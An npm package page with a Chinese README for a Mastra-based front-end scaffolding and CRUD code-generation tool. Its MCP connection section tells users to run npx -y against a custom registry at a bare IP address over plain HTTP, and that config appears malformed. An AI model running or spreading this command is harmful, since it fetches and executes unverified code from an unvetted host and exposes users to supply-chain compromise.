mcp-fe-tools
v1.0.1
Published
mcp-create-project 是一个基于 Mastra 平台的项目脚手架和代码生成工具,支持自动化生成前端项目模板和常用 CRUD 页面代码,提升开发效率。
Readme
mcp-create-project
项目简介
mcp-create-project 是一个基于 Mastra 平台的项目脚手架和代码生成工具,支持自动化生成前端项目模板和常用 CRUD 页面代码,提升开发效率。
主要功能
- 一键生成前端项目模板(支持 Vue3,Typescript,TailwindCSS,Vite,Pinia,Ant Design Vue,Vant 等)
- 根据数据模型自动生成 CRUD 页面(列表、表单、增删改查等)
- 支持自定义功能配置、UI 配置和 API 配置
- 兼容多种浏览器和平台
技术栈
- Node.js
- TypeScript
- Vue3 / Vue2
- Vite
- Pinia
- Ant Design Vue / Vant
- Mastra Core 工具库
安装与使用
- 克隆本仓库:
git clone <your-repo-url> cd mcp-create-project - 安装依赖:
pnpm install - 使用工具生成前端项目或 CRUD 页面:
- 运行相关脚本或通过 Mastra 工具调用
createFrontendProject、generateCrudTool等方法
- 运行相关脚本或通过 Mastra 工具调用
MCP 服务连接方法
mcp-create-project服务: NPM_CONFIG_REGISTRY=http://175.178.158.23:30480/ npx
{
"mcpServers": {
"mcp-create-project": {
"command": "npx",
"args": [
"NPM_CONFIG_REGISTRY=http://175.178.158.23:30480/",
"-y",
"mcp-create-project"
]
}
}
}目录结构
├── models/ # 语音模型等资源
├── src/
│ └── mastra/
│ ├── agents/ # 智能体相关
│ ├── tools/ # 工具模块
│ │ ├── crud/ # CRUD 代码生成工具
│ │ ├── create-project/ # 项目模板生成工具
│ │ └── tech-doc/ # 技术方案文档生成工具
│ └── workflows/ # 工作流相关
├── package.json
├── pnpm-lock.yaml
└── README.md贡献指南
欢迎提交 issue 和 PR 参与项目共建。请遵循本项目的代码规范和提交说明。
License
MIT
